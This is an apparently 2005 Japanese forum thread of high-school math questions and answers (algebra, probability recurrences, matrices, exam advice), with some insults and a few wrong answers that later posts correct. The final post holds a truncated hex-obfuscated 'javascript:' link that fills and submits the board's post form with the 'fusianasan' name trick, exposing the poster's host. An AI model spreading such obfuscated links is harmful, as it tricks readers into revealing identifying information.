363 ：１３２人目の素数さん：2005/07/14(木) 19:31:44
自然数a,b,c,dに
b/a=(c/a)+d
の関係があるとき
aとcが互いに素ならば
a,bも互いに素であることを証明せよ
364 ：１３２人目の素数さん：2005/07/14(木) 19:36:13
b=c+da=c+dpm=ph
c=ph-pdm=p(h-dm)
365 ：１３２人目の素数さん：2005/07/14(木) 19:37:38
a+b=c
366 ：１３２人目の素数さん：2005/07/14(木) 20:12:58
>>362
4回投げて1～4の目が出る確率から
1～3の目が出る確率を引けばいい
(4/6)^4-(3/6)^4
367 ：１３２人目の素数さん：2005/07/14(木) 20:13:20
　ある店で原価が１個80円の品物を単価100円で売るとき、1日平均100個売れるが、
この単価を10円値上げすると、1日平均5個の割合で売り上げが減少する。
(1)最大の売上高とそのときの単価を求めよ。
(2)最大の利益とそのときの単価を求めよ。

(1),(2)ともに指針がわかりませんでした・・・。
どなたかヒントでもいいのでよろしくお願いします。
368 ：１３２人目の素数さん：2005/07/14(木) 20:23:54
>>367
x円値上げした時、利益は
(20+x)*(100-x/10*5)
=(20+x)*(100-x/2)

で後は式を整理して、x≧0だから、2次方程式から考えればよくね？
369 ：１３２人目の素数さん：2005/07/14(木) 20:24:29
>>367
中学生でやるような問題だな
(1)10円上げたら5個減るので
10x円値上げしたときには100-5x個売れるので
売上高は(100+10x)(100-5x)
=-50x^2+500x+10000=-50(x-5)^2+11250
よってx=5すなわち単価100+50=150円のとき売上高が最大で11250円

(2)利益は売上高から(売った数)×(原価)を引いて
(100+10x)(100-5x)-(100-5x)×80
=(20+10x)(100-5x)
=-50(x-9)^2+6050
よってx=9すなわち単価190円のとき利益は最大で6050円
370 ：１３２人目の素数さん：2005/07/14(木) 20:27:02
>>366
ありがとうございます
371 ：１３２人目の素数さん：2005/07/14(木) 20:29:08
>>368
すみません、バカなのでいまいち理解できませんでしたorz

>>369
素早い対応、ありがとうございます。
＞10x円値上げしたときには100-5x個売れるので
この一行をずっと悩んでました（汗っ
もう一度自分で解いてきます。
372 ：１３２人目の素数さん：2005/07/14(木) 20:48:40
(100-5x)*(100+10x)
(100-5x)*(100+10x-80)
373 ：368：2005/07/14(木) 20:57:38
ゴメン(2)しか見てなかった。だから>>368は(2)の式

で、>>369
の 10x円値上げしたときには100-5x個売れるので の部分は
10円値上げしたら、5個売り上げが減少するので、
単にx倍して、10x円値上げしたら、
5x個売り上げが減少する。としてるだけだと思う。
その方が分数が出てこないからねー。
わかりにくかったら、x円値上げすれば？と考えて、
10円で5個減少、20円で10個減少、30円で15個減少・・・・
だから、x円値上げすると、売り上げは(x/10)*5=x/2個減少。
ここから立式してもok

後は2次方程式の最大、最小の考え方で、
まず平方完成して、で定義域がx≧0だから、そこから最大を考えるだけ。
374 ：１３２人目の素数さん：2005/07/14(木) 22:11:24
>>373
詳しく丁寧な解説ありがとうございます。
まさか、このような問題で二次関数を使うとは考えてもいなかったので良い勉強になりました＾＾
ありがとうございました。
375 ：１３２人目の素数さん：2005/07/14(木) 22:22:46
このような問題で二次関数を使うとは考えてもいなかった
　 　∩＿＿＿∩　　 　　　　　　｜
　　 | ノ＼　　　　 ヽ　 　　　　　　|
　　/　　●゛　　● |　　　　 　　　|
　 |　∪　　( _●_)　ミ　 　　　　　j
　彡､　　　|∪|　　 |　　　 　　　 Ｊ
/　　　　 ∩ノ ⊃　 ヽ
(　 ＼　／ ＿ノ　|　 |
376 ：１３２人目の素数さん：2005/07/14(木) 22:41:24
aとcが互いに素ならばa,bも互いに素である　対偶
377 ：１３２人目の素数さん：2005/07/14(木) 23:24:35
で？
378 ：１３２人目の素数さん：2005/07/14(木) 23:25:14
>>377
詩ね
379 ：１３２人目の素数さん：2005/07/14(木) 23:25:50
>>1-377
氏ね
380 ：１３２人目の素数さん：2005/07/14(木) 23:26:59
で？
381 ：１３２人目の素数さん：2005/07/14(木) 23:27:37
>>380
視ね
382 ：１３２人目の素数さん：2005/07/14(木) 23:28:42
で？
で？
で？
383 ：１３２人目の素数さん：2005/07/14(木) 23:34:06
行列の乗法という問題が出ましたがこの問題だけ解けません。
(sinθ　-cosθ) (sinθ cosθ)
(cosθ 　sinθ) (-cosθ sinθ)
上と下のカッコはつながっています。
教えてください。
384 ：１３２人目の素数さん：2005/07/14(木) 23:40:26
>>383
=単位行列
385 ：１３２人目の素数さん：2005/07/14(木) 23:41:59
>>384さん
もし良かったら解き方を教えてくれませんか？
386 ：１３２人目の素数さん：2005/07/14(木) 23:44:30
>>385
二次の正方行列の計算と同じようにやればよいのです
387 ：１３２人目の素数さん：2005/07/14(木) 23:46:03
>>386さん
ありがとうございました。
388 ：１３２人目の素数さん：2005/07/14(木) 23:57:21
383です。
sinθ*sinθ＝1　-cosθ*cosθ＝0
になるのはなぜですか？
389 ：１３２人目の素数さん：2005/07/14(木) 23:58:18
教科書
390 ：１３２人目の素数さん：2005/07/15(金) 00:03:35
単位円の演習場の点
391 ：１３２人目の素数さん：2005/07/15(金) 00:04:49
それは違う
392 ：１３２人目の素数さん：2005/07/15(金) 00:06:30
最後の＝０ってなんだよ
393 ：１３２人目の素数さん：2005/07/15(金) 00:07:05
>>388
どうやったらそんな式が出てくるの？
394 ：１３２人目の素数さん：2005/07/15(金) 00:07:07
>>388
は？
395 ：１３２人目の素数さん：2005/07/15(金) 00:08:33
式空白式
396 ：１３２人目の素数さん：2005/07/15(金) 00:09:32
>>388
意味不明
397 ：１３２人目の素数さん：2005/07/15(金) 00:09:34
388です。
勘違いしていました。
もう大丈夫です。
398 ：１３２人目の素数さん：2005/07/15(金) 00:09:47
sin^2θ + cos^2θ = 1
399 ：１３２人目の素数さん：2005/07/15(金) 00:10:26
以前にも大丈夫と言って、てんで駄目な奴がいたね
400 ：１３２人目の素数さん：2005/07/15(金) 00:10:43
>>395
お前頭いいな
401 ：１３２人目の素数さん：2005/07/15(金) 00:11:06
>>399
Who?
402 ：１３２人目の素数さん：2005/07/15(金) 00:11:38
べーたか
403 ：１３２人目の素数さん：2005/07/15(金) 00:12:00
成分毎にかけていると読み取れなければ回答者はできません
404 ：１３２人目の素数さん：2005/07/15(金) 00:12:39
>>403
は？
405 ：１３２人目の素数さん：2005/07/15(金) 00:14:00
>>403
はいはいべーたべーた
406 ：１３２人目の素数さん：2005/07/15(金) 00:16:34
数学は大嫌いで今年受験なんですが勉強法とか、イイ参考書とかを教えてください(>_<)
407 ：１３２人目の素数さん：2005/07/15(金) 00:16:56
ββββββββββββββββββββββββββββββββββββββββββββββββββ
408 ：１３２人目の素数さん：2005/07/15(金) 00:17:44
>>406
ヒント：　文系受験
409 ：１３２人目の素数さん：2005/07/15(金) 00:18:20
さいころをn回振って出た目の和が4の倍数になる確率を教えてください。
410 ：１３２人目の素数さん：2005/07/15(金) 00:18:57
確率の漸化式
411 ：１３２人目の素数さん：2005/07/15(金) 00:20:40
>>406
数学嫌いが数学板来んなよ
死ね
412 ：１３２人目の素数さん：2005/07/15(金) 00:25:09
>>410
それを立てることができなくて困っています。
413 ：１３２人目の素数さん：2005/07/15(金) 00:26:45
ずっと困っとけ
414 ：１３２人目の素数さん：2005/07/15(金) 00:28:32
とりあえず、n=1、2、3、4くらいまでどうなるか計算して
一般のnではどうなるだろうか　と予想してみては？
415 ：１３２人目の素数さん：2005/07/15(金) 00:33:49
ベクトルの問題で (↑a-3↑b)･(↑a-3↑b) ってどうなるのですか？
(↑a･↑a)‐6(↑a･↑b)+6(↑b･↑b) であってますか？
416 ：１３２人目の素数さん：2005/07/15(金) 00:37:01
次の三角形を解け
（1）a=9 B=45°C=75°
（2）a=6 b=2√3　c=3+√3
と言う問題なのですが、どなたかよろしくお願いします。
417 ：１３２人目の素数さん：2005/07/15(金) 00:39:01
>>416
正弦定理と余弦定理のとこを
教科書10回嫁　
418 ：１３２人目の素数さん：2005/07/15(金) 00:41:57
x+x^-1=4 　の時　 x^2+x^-2=
が分かりません。どなたか教えて頂きたいです。
途中式も書いてもらうとありがたいです
419 ：１３２人目の素数さん：2005/07/15(金) 00:42:52
>>414
そんな無茶言うなよ。n=3のときがどれだけ大変だか分かって言ってるのか？
420 ：１３２人目の素数さん：2005/07/15(金) 00:43:31
>>419
労力を惜しむな
421 ：１３２人目の素数さん：2005/07/15(金) 00:44:37
>>418
x^2+x^-2
=｛(x+x^-1)＾2｝-2
=4-2
=2
422 ： ◆27Tn7FHaVY ：2005/07/15(金) 00:45:13
>>418
x^2 + 1/x^2
= (x + 1/x)^2 - 2
= 4^2 - 2
= 14
423 ：415：2005/07/15(金) 00:45:39
スルーしないで教えて下さい。お願いします。
424 ：１３２人目の素数さん：2005/07/15(金) 00:47:01
>>419
は？　
n=3のときは求める確率は1/3だよ。
でも、n=4のときは1/4じゃないけどな
425 ：１３２人目の素数さん：2005/07/15(金) 00:47:22
>>415
微妙に違う。
(↑a･↑a)‐6(↑a･↑b)+9(↑b･↑b)
426 ：１３２人目の素数さん：2005/07/15(金) 00:47:27
＞=｛(x+x^-1)＾2｝-2
最後の-2はどこからでてくるのですか？
427 ：415：2005/07/15(金) 00:48:26
>>425
すいません。有難うございました。
428 ：１３２人目の素数さん：2005/07/15(金) 00:48:26
>>420
その労力に値する見返りがあると思っているのか？
429 ：421：2005/07/15(金) 00:48:45
>>418
答えは14です。素でミスったorz
>>426
展開すればわかると思うんですけど、
前の等式と帳尻を合わせるために2を引いたのです
430 ：１３２人目の素数さん：2005/07/15(金) 00:51:51
>>429 -2の意味がホントわかりません
431 ：１３２人目の素数さん：2005/07/15(金) 00:52:07
x^3-x^2+2x+4をx+1で割れ。という問題なんですがどうやるんでしょうか？
432 ： ◆27Tn7FHaVY ：2005/07/15(金) 00:53:21
>>431
筆算か組み立て除法。
余りだけ求めるなら剰余の定理
433 ：１３２人目の素数さん：2005/07/15(金) 00:55:19
>>424
お前はあほか。n=3のときに1/3になるわけないだろ。いったいどういう計算をしたんだ？
434 ：１３２人目の素数さん：2005/07/15(金) 00:56:49
>>433
は？おまえ馬鹿？
展開してみろよ
+2が出て元の式になるから
435 ：１３２人目の素数さん：2005/07/15(金) 00:57:03
>>431
(x^3-x^2+2x+4)/(x+1)
436 ：１３２人目の素数さん：2005/07/15(金) 00:57:17
x[n+1] = a*x[n]*(1 - x[n])　について以下の問題を解け。
(1) 0<a<=1のとき、lim[n->∞] x[n] = 0となることを示せ。
(2) 1<a<=4のとき、lim[n->∞] x[n] ≠0となることを示せ。

(1)は出来たのですが、(2)が分かりません。お願いします。
437 ：434：2005/07/15(金) 00:57:44
>>434でなく>>430
438 ：１３２人目の素数さん：2005/07/15(金) 00:58:31
>>435　　それ普通
439 ：431：2005/07/15(金) 00:58:35
>>432
その筆算のしかたがわかりません。馬鹿ですいません
440 ：１３２人目の素数さん：2005/07/15(金) 00:58:56
>>433
ｎ個投げたときの和が３の倍数である確率をp(n)、余りが１のときをq(n)、余りが２のときをr(n)とする。
ｎ－１個投げたときの和が３で割り切れるとき、ｎ個目も３の倍数
ｎ－１個投げたときの和を３で割った余りが１のとき、ｎ個目は２or５
ｎ－１個投げたときの和を３で割った余りが２のとき、ｎ個目は１or４
よって、p(n)=(1/3)p(n-1)+(1/3)q(n-1)+(1/3)r(n-1)＝(1/3){p(n-1)+q(n-1)+r(n-1)}＝1/3
441 ：１３２人目の素数さん：2005/07/15(金) 00:59:12 BE:177885555-#
a∈b かつ b∈c ならば a∈c
ではない理由を示せ

を文章で書こうとすると難しくて分かりません。
442 ：１３２人目の素数さん：2005/07/15(金) 00:59:24
>>430は帳尻あわせという日本語の意味がわからないそうですｗｗｗｗｗ
443 ：１３２人目の素数さん：2005/07/15(金) 01:00:01
>>439
小学校で筆算習わなかったの？
444 ：１３２人目の素数さん：2005/07/15(金) 01:00:47
>>441
集合の集合の集合の集合の集合の集合の集合の集合の集合の集合の集合の集合
445 ：１３２人目の素数さん：2005/07/15(金) 01:00:54
>>430
｛(x+x^-1)＾2｝-2 = x^2+x^-2

が成り立つことを示してください。
446 ：１３２人目の素数さん：2005/07/15(金) 01:01:33
>>441
ベン図書いて
「図より」でいいんじゃん
447 ：１３２人目の素数さん：2005/07/15(金) 01:04:21
1/cosθ　（cos^-1θ）　の微分ってどうなりますか？
448 ：１３２人目の素数さん：2005/07/15(金) 01:05:07
>>440
n=3
449 ：１３２人目の素数さん：2005/07/15(金) 01:05:49 BE:384232469-#
>>446
事情により図を書くスペースが無いのです。
やっぱり、分かり易く説明するためには図を描くしかないのでしょうか？
450 ：１３２人目の素数さん：2005/07/15(金) 01:05:58
>>445　　｛(x+x^-1)＾2｝-2
　　　　　=x^2+(x*x^-1)x+x^-2
　　　　　……
　　　　　わかんないです…。。。
451 ：１３２人目の素数さん：2005/07/15(金) 01:06:05
>>439
つhttp://pdns.nakamura-sanyo.ed.jp/sanyo/yanase/math_app/syndiv/syndiv.html
452 ：１３２人目の素数さん：2005/07/15(金) 01:06:09
>>447
sinθ/(｛cosθ)^2｝
453 ：１３２人目の素数さん：2005/07/15(金) 01:06:17
>>447
微分くらい自分の力でやれよ
454 ：１３２人目の素数さん：2005/07/15(金) 01:07:38
>>450
おまえの式が解らん
455 ：１３２人目の素数さん：2005/07/15(金) 01:07:59
↑誤
>>445　　｛(x+x^-1)＾2｝-2
　　　　　=x^2+(x+x^-1)x+x^-2
　　　　　……
　　　　　わかんないです…。。。
456 ：１３２人目の素数さん：2005/07/15(金) 01:08:28
積分が出てきたらこんどは解けないくせにw
457 ：１３２人目の素数さん：2005/07/15(金) 01:09:00
>>455
それも解らん
458 ：１３２人目の素数さん：2005/07/15(金) 01:09:10
>>440
そんな問題だったら暗算でも解けるだろ。問題をよく読めって。
和が4の倍数になるって書いてるだろ。
459 ：１３２人目の素数さん：2005/07/15(金) 01:09:48
>>452
は？
460 ：１３２人目の素数さん：2005/07/15(金) 01:09:55
>>455
中学校で式の展開って習わなかったの？
461 ：436：2005/07/15(金) 01:10:07
（再掲）
x[n+1] = a*x[n]*(1 - x[n])　について以下の問題を解け。
(1) 0<a<=1のとき、lim[n->∞] x[n] = 0となることを示せ。
(2) 1<a<=4のとき、lim[n->∞] x[n] ≠0となることを示せ。

(1)は出来たのですが、(2)が分かりません。お願いします。
462 ：１３２人目の素数さん：2005/07/15(金) 01:11:22
>>458
いやだから、仮に和が3の倍数だとして計算してるわけ
お前、話の流れ分かってる？
463 ：１３２人目の素数さん：2005/07/15(金) 01:11:30
>>461
しつこい香具師は嫌われるよ
464 ：１３２人目の素数さん：2005/07/15(金) 01:12:24
>>460　わからないとです
465 ：１３２人目の素数さん：2005/07/15(金) 01:12:57
>>464
要再履修
466 ：436：2005/07/15(金) 01:13:14
>>461
そう言われましても、１つもレスが付かないので･･･。
467 ：１３２人目の素数さん：2005/07/15(金) 01:13:36
>>461
初項によるとおもうんだけど。
0＜a≦1のときだって方程式x=ax(1-x)の0でない解αが初項ならlimxn=αだとおもうけど。
468 ：１３２人目の素数さん：2005/07/15(金) 01:14:04
>>464
本当に解らないなら中学数学からやり直した方がいいよ

(a+b)*(c+d)
↑コレの計算できる？
469 ：１３２人目の素数さん：2005/07/15(金) 01:15:07
>>466
自レス？
470 ：436：2005/07/15(金) 01:15:56
>>467
あぁぁ、すいません。xの範囲を書き忘れていました。
x∈J=[0, 1]です。

情報小出しになってしまったので、レスが付くのは諦めます。
失礼しました。
471 ：１３２人目の素数さん：2005/07/15(金) 01:16:14
>>468
ac+ad+bc+bd
です。
472 ：436：2005/07/15(金) 01:17:00
>>469
よくやってしまいます。レスアンカーを見てレスをすると、つい自分のレスにレスを
してしまうんですよね。不注意な証拠ですね。吊ってきます。
473 ：１３２人目の素数さん：2005/07/15(金) 01:17:09
>>462
いやいや、その言い訳は苦しいって。自分でn=3のときって言ってるし。
和が3の倍数になるなんて問題だったら誰も苦労しねーよ。まあ、あんたの言いたいことはわかったよ。
で、問題の和が4になるのはどうやるんだい？
474 ：１３２人目の素数さん：2005/07/15(金) 01:17:20
>>471
じゃあ
(a+b)^2
は？
475 ：１３２人目の素数さん：2005/07/15(金) 01:21:10
>>474
a^2+2ab+b^2
です。
476 ：462：2005/07/15(金) 01:22:08
>>473
今考えてんだよ。お前も考えろ。
実際に解こうとすると、意外に難しい問題だよ。
477 ：１３２人目の素数さん：2005/07/15(金) 01:22:25
>>475
それが解って何故さっきの問題が解けないんだ？

自分の式の間違いに気付いてないのか？
478 ：１３２人目の素数さん：2005/07/15(金) 01:26:26
{(x+x^(-1))^2}-2
≠ x^2+(x+x^(-1))x+x^(-2) = (x+x)(x+x^(-1))-1+x^(-2)
≠ (x+x)(x+x^(-1))

なかなかすばらしい間違いぶりだｗ
479 ：１３２人目の素数さん：2005/07/15(金) 01:26:46
>>477
{(x+x^-1)^2}-2=
x-^2+2x*x^-1+x^-2
…
480 ：１３２人目の素数さん：2005/07/15(金) 01:29:51
x^2 + 2*x*(x^-1) + x^-2

x*(x^-1)
↑コレ何だかわからない？
481 ：１３２人目の素数さん：2005/07/15(金) 01:31:32
*=かけ算
482 ：１３２人目の素数さん：2005/07/15(金) 01:32:48
>>479
小学校で約分って習わなかった？
483 ：１３２人目の素数さん：2005/07/15(金) 01:34:22
もう教えてくださいTT
484 ：１３２人目の素数さん：2005/07/15(金) 01:35:26
>>483
さっきから教えてるんだけど
485 ：１３２人目の素数さん：2005/07/15(金) 01:36:44
n^0=1
486 ：１３２人目の素数さん：2005/07/15(金) 01:36:45
x^(-1) = 1/x
ってわかってる？
487 ：１３２人目の素数さん：2005/07/15(金) 01:37:40
x=x/1
488 ：１３２人目の素数さん：2005/07/15(金) 01:40:02
わかってます
489 ：１３２人目の素数さん：2005/07/15(金) 01:40:52
わかってるなら自分で解けよ
490 ：１３２人目の素数さん：2005/07/15(金) 01:41:06
(x + 1/x)^2 展開してみなさい
491 ：473：2005/07/15(金) 01:42:04
>>476
俺は解けないと見た。少なくとも高校生には。
492 ：１３２人目の素数さん：2005/07/15(金) 01:44:39
(n^a)*(n^b)=n^(a+b)
493 ：１３２人目の素数さん：2005/07/15(金) 01:45:06
>>433
ｎ個投げたときの和が4の倍数である確率をp(n)、余りが１のときをq(n)、
余りが２のときをr(n)、余りが３のときをs(n)とする。
p(1)=1/6 q(1)=1/3 r(1)=1/3 s(1)=1/6
p(n+1)=1/6(p(n)+q(n)+2r(n)+2s(n))
q(n+1)=1/6(2p(n)+q(n)+r(n)+2s(n))
和が偶数になる確率と奇数になる確率は常に1/2ずつであることを
つかうと常に　p(n)+r(n)=1/2 q(n)+s(n)=1/2
これを用いて漸化式を整理するとp,q,の２項間漸化式になる。
494 ：１３２人目の素数さん：2005/07/15(金) 01:46:22
4の倍数になる組み合わせを数が実はそれ程
多くはないことに俺は気が付いてしまった・・・。
495 ：１３２人目の素数さん：2005/07/15(金) 01:46:50
そして、誤字があることに書き込んでから気が付いてしまった・・・orz
496 ：１３２人目の素数さん：2005/07/15(金) 01:47:40
>>490
(x+1/x)^2
=x^2+2+1/x^2
=x^2+2+x~-2
？
497 ：462：2005/07/15(金) 01:47:47
>>491
ウーン、そうなのかなぁ。さっきからずっと考えてるけど、やっぱり難しい。
オレはまず、連立漸化式を立てることを目標にして考えてるんだけど…
498 ：１３２人目の素数さん：2005/07/15(金) 01:48:29
>>496
4行目ワロス
499 ：１３２人目の素数さん：2005/07/15(金) 01:49:15
>>496
2引けば　x^2+1/x^2　だろ
500 ：１３２人目の素数さん：2005/07/15(金) 01:50:43
500
501 ：１３２人目の素数さん：2005/07/15(金) 01:54:15
１から７までのカードから１枚出し抜き、また戻すことをn回繰り返す。
出し抜いたカードの数の和 Sn が 4k+1(kは整数）となる確率 Pn を求めよ。



誰か教えてください…
502 ：１３２人目の素数さん：2005/07/15(金) 01:55:36
確率はやりか？
漏れは確率論苦手ス
503 ：１３２人目の素数さん：2005/07/15(金) 01:55:38
また漸化式の確率かよ。もうウンザリ
504 ：１３２人目の素数さん：2005/07/15(金) 01:56:31
確率の問題って総じてムズイんだよな…
505 ：１３２人目の素数さん：2005/07/15(金) 01:57:11
>>503
ウンザリ？ならそろそろ寝ろよ。不健康だぞ。
506 ：１３２人目の素数さん：2005/07/15(金) 01:57:47
数学好きは大体不健康だな
507 ：１３２人目の素数さん：2005/07/15(金) 01:58:44
>>505
ハイ、もう寝ます。疲れました。
明日、確率の勉強しよ－っと。
508 ：１３２人目の素数さん：2005/07/15(金) 01:59:35
n=1
1 5

n=2
1→4
　2→3　7
　3→2　6
　4→1　5
　5→　　4
　6→7　3
　7→6　2
509 ：１３２人目の素数さん：2005/07/15(金) 02:01:44
>>508
ど、どういうことですか？
510 ：１３２人目の素数さん：2005/07/15(金) 02:03:36
>>499 だから２を引くんですね！
511 ：１３２人目の素数さん：2005/07/15(金) 02:03:45
>>509
喪前はC3POか
512 ：１３２人目の素数さん：2005/07/15(金) 02:06:57
>>510
遅えぇーーーーーーーーーーーーーーーーよ
513 ：１３２人目の素数さん：2005/07/15(金) 02:35:58
>>511
まあ、今まで教えてた連中は
x^2+x^(-2)=…　で変形してたが
そもそも、条件式　x+x^(-1)=4 　の両辺を
先に平方させた方がわかりやすかったのかな。
514 ：513：2005/07/15(金) 02:36:46
おっと、レスアンカー間違えた。
>>510が正しい。
515 ：１３２人目の素数さん：2005/07/15(金) 11:02:33
高校教科書の例題は理解できるんですがセンター以上の問題になるとさっぱりわかりません
何が足りないんでしょうか？
中学数学が苦手だったんでやはりそこに問題があるんでしょうか？
516 ：１３２人目の素数さん：2005/07/15(金) 11:05:48
> 何が足りないんでしょうか？

教科書の理解
517 ：１３２人目の素数さん：2005/07/15(金) 11:06:02
かもね．
というかセンターが分からないのだったら
あまり分かってないんだと思いますが．
例題じゃなくて章末問題とかあると思いますが
きちんと解けますか？
518 ：１３２人目の素数さん：2005/07/15(金) 11:50:15
・・・例題が分からない奴なんているのか？
いや、一回見て分かれということではなくて、
勉強しても例題が分からないなんて人いるのかと。
519 ：１３２人目の素数さん：2005/07/15(金) 11:55:45
例題も教科書もなんとくしか理解できないんですよ
やっぱ中学数学に穴が多いからでしょうか？
520 ：１３２人目の素数さん：2005/07/15(金) 12:07:10
中学数学の問題は自信を持って解けますか？
穴が多いという自覚があるのなら多分そうだと思います．
521 ：１３２人目の素数さん：2005/07/15(金) 12:20:53
白茶でもやってろ
522 ：１３２人目の素数さん：2005/07/15(金) 12:53:04
まあつまり、中学の時にサボってたツケが今になってまわってきた訳だ。
523 ：１３２人目の素数さん：2005/07/15(金) 12:57:28
中学数学の問題自信をもって解けません
やっぱ中学と高校数学は関連大きいんですねorz
中学チャートが手元にあるんで見てみると、例題とエクササイズがあるんですが
中学数学の穴を埋めるには発展のエクササイズまでやるべきでしょうか？
524 ：１３２人目の素数さん：2005/07/15(金) 12:58:32
やるべき
525 ：１３２人目の素数さん：2005/07/15(金) 13:03:09
その問題集のレベルがわからんから
にんともかんともです．
本当はそういう場合は家庭教師でもつけるといいのかもしれませんが．
高校数学をやりながら並行して穴を埋めていくには．
526 ：１３２人目の素数さん：2005/07/15(金) 13:04:41
貴方、今高校何年？
もし高3だったら、もう諦めたほうがいいよ。
527 ：１３２人目の素数さん：2005/07/15(金) 13:11:38
高校生が浪人とかしてもそれほどおかしくないと思われ
諦めた場合と二浪位して希望の大学に入った場合で
前者が良いとはいえないような
528 ：１３２人目の素数さん：2005/07/15(金) 13:14:30
高３でセンターの問題が解けないってのはヤバイな
529 ：１３２人目の素数さん：2005/07/15(金) 13:18:14
やばいけど皆180以上とか取れたら
センター試験がそもそも機能しないような

大体あの試験は得点分布は正規分布になってるはずだし
530 ：１３２人目の素数さん：2005/07/15(金) 13:19:22
もし高3だったら、今7月だからセンター対策なんか終わって二次対策してる頃なんじゃねえの？
531 ：１３２人目の素数さん：2005/07/15(金) 13:21:00
最近のセンター試験は数ⅡBがムズイし量が多すぎ
532 ：１３２人目の素数さん：2005/07/15(金) 13:30:09
＞今7月だからセンター対策なんか終わって

狙う学校によってはセンター逃げ切りってのもありうるからね。
二次って言っても基本レベルの理解習熟度を見るタイプの学校も
あるにはあるし、センター対策は結構重要。
つっても、センター逃げ切りなら9割近い得点率は必須。

足切りもあるから逆にセンター捨てて二次対策ってのは危険かな。

そういや俺は模試受けまくったけど、マーク模試は受けるごとに
得点伸びて東大・京大レベルでもB判定とか余裕で出るように
なったけど、筆記模試は三流大でもD判定とかだったな。
もう十年近く前の話だ……。
533 ：１３２人目の素数さん：2005/07/15(金) 13:34:47
質問した者ですが高３どころか浪人です
目標は数１でセンター七割です
やっぱ中学チャートの発展もやるべきですか・・・ニカ月はかかるだろうなぁ
国・英はセンター七割取れるんですが数学が３０点しか取れないんですよ
534 ：１３２人目の素数さん：2005/07/15(金) 13:36:30
板違い
535 ：１３２人目の素数さん：2005/07/15(金) 13:40:34
>>533
>目標は数１でセンター七割です
センター数学ⅠAは頑張れば満点取れるよ。
536 ：１３２人目の素数さん：2005/07/15(金) 13:42:19
>>533
現役のとき何処受けたの？
今の志望校は？
537 ：１３２人目の素数さん：2005/07/15(金) 13:45:31
浪人でセンター7割って目標低すぎやしないか…？
538 ：１３２人目の素数さん：2005/07/15(金) 13:52:30
おいおい…文系の香具師かよ…
539 ：１３２人目の素数さん：2005/07/15(金) 14:09:01
もうお話になりませんね
540 ：１３２人目の素数さん：2005/07/15(金) 14:22:50
30点って時間無制限で解いてもですよね
>中学数学の問題自信をもって解けません
なんだからまあ中学用の薄い問題集からやるしかないかなあ、、、
541 ：１３２人目の素数さん：2005/07/15(金) 14:25:51
中学数学なんて初等幾何以外は計算問題ぐらいしかないスカスカだろ？
高校数学なんてろんりのろの字が書ければいいようなお粗末な論理と
計算しかないクソだろ？

んなので点取れないってのは単にサボってるだけだなｗｗｗｗｗ
542 ：１３２人目の素数さん：2005/07/15(金) 14:25:58
志望校は名古屋市立大です
もろ文系なんで数学だけが終わってるんです
だから七割取れればいいかなと。数学できる人が羨ましい・・・
543 ：１３２人目の素数さん：2005/07/15(金) 14:38:33
俺、日本史がカリキュラムに無いようなバリバリ理系で
入試科目にも日本史必要なかったけど、センターの日程
の関係で、暇には耐えられそうも無かったからついでに
日本史とってみたんだけど、60点ぐらいとれちゃったな。
もともと社会科は地歴公民から一科目でよくて、倫理で
が目的どおり9割とれたからどうでもよかったんだけどｗ
544 ：１３２人目の素数さん：2005/07/15(金) 14:59:57
俺勉強しなくてもⅠは九割いったぞ。あんなの問題にそってやっていくだけだろ
545 ：１３２人目の素数さん：2005/07/15(金) 15:02:30
大学受験板
http://etc4.2ch.net/kouri/

おまいらここは数学板でつよ。大学入試なんてしょうもない話は板違い
546 ：１３２人目の素数さん：2005/07/15(金) 15:02:58
センター七割ってのは、正規分布で言うと密度関数のほとんど
頂点付近、つまり誰でもそのくらい取れるってレベルのはず。
547 ：１３２人目の素数さん：2005/07/15(金) 15:04:57
殆ど頂点だったら半数以上は，になるんじゃないか？
548 ：１３２人目の素数さん：2005/07/15(金) 15:10:54
文系科目受けたら俺は死ぬがな
549 ：１３２人目の素数さん：2005/07/15(金) 15:11:33
>>546
密度関数の頂点ってなんだよ。関数は図形でないのだから頂点などあるはずがないだろう。
関数のグラフの頂点というのならば一応図形の話だが、正規分布の密度関数のグラフは滑らかで頂点などはないだろう。
密度関数の頂上付近というのならイメージすることはできるが、そこはただそのあたりの点を取っている人が多いというだけの話で
誰にでも取れるとみなすことは難しいだろう。

以上の点で、おまいさんはあまりにも支離滅裂です。勉強はきちんとしましょう。
550 ：１３２人目の素数さん：2005/07/15(金) 15:15:58
> 密度関数の頂点ってなんだよ。関数は図形でないのだから
> 頂点などあるはずがないだろう。
> 関数のグラフの頂点というのならば一応図形の話だが、
> 正規分布の密度関数のグラフは滑らかで頂点などはないだろう。

>>549は二次関数のグラフにも頂点など無いと習ったのだろうかｗ
551 ：１３２人目の素数さん：2005/07/15(金) 15:17:45
質問回答ともにゆとり教育の弊害受けまくりのやつしかおらんのかこのスレはｗ
552 ：１３２人目の素数さん：2005/07/15(金) 15:19:18
>>551
正解。
おまいはゆとり教育の弊害を受けていない数少ない住人の一人のようだ。
貴重な人材であるから今後の活躍を期待する。
553 ：１３２人目の素数さん：2005/07/15(金) 15:19:46
だんだんシケスレになってきたので、ここで問題を一つ、

a,bは a^2+b^2がab+1で割りきれるような正整数とする。
このとき、(a^2+b^2)/(ab+1)が完全平方数であることを示せ。
554 ：１３２人目の素数さん：2005/07/15(金) 15:23:23
>>553
お断りします。
555 ：１３２人目の素数さん：2005/07/15(金) 16:17:11
ここは高校生のための質問スレじゃないのかよ！ボケ
556 ：１３２人目の素数さん：2005/07/15(金) 16:19:29
>>555
テンプレぐらい読みましょうね
557 ：１３２人目の素数さん：2005/07/15(金) 16:20:41
>>555
そうそう。数学板なんかで他人に宿題処理させようとする
ゴキブリのためのゴキブリホイホイがこのスレなんだよ。
558 ：１３２人目の素数さん：2005/07/15(金) 18:21:03
ゃ、俺は理解の溜にですが…国立大志望ですので勉強しなきゃまずい。。
でも、夜十二時とかだと誰にも聞けない。。。そんな時にここを使わせてもらってまつ
559 ：１３２人目の素数さん：2005/07/15(金) 18:22:41
高校数学って中身は算数なんだから、数学板から出て行けってことだよ。
560 ：１３２人目の素数さん：2005/07/15(金) 18:27:03
テンプレを理解してるなら無問題
561 ：１３２人目の素数さん：2005/07/15(金) 18:29:26
受験板じゃ不味いの？
結構自分の相対的なレベルとか分かりやすくていいんじゃない？
数学の質問スレもあるし、この板よりは大分丁寧に教えてくれるはず

ただあそこはコテが餓鬼ばっかでキモイが
562 ：センターマン：2005/07/15(金) 18:35:20
javascript:s='7769746828646f63756d656
e742e666f726d735b305d297b46524f4d2e76
616c75653d2766757369616e6173616e273b4
d4553534147452e76616c75653d275c753531
34345c75386362345c75373533625c7535306
3665c75333034665c75333036305c75333035
355c7533303434273b7375626d69742e636c6
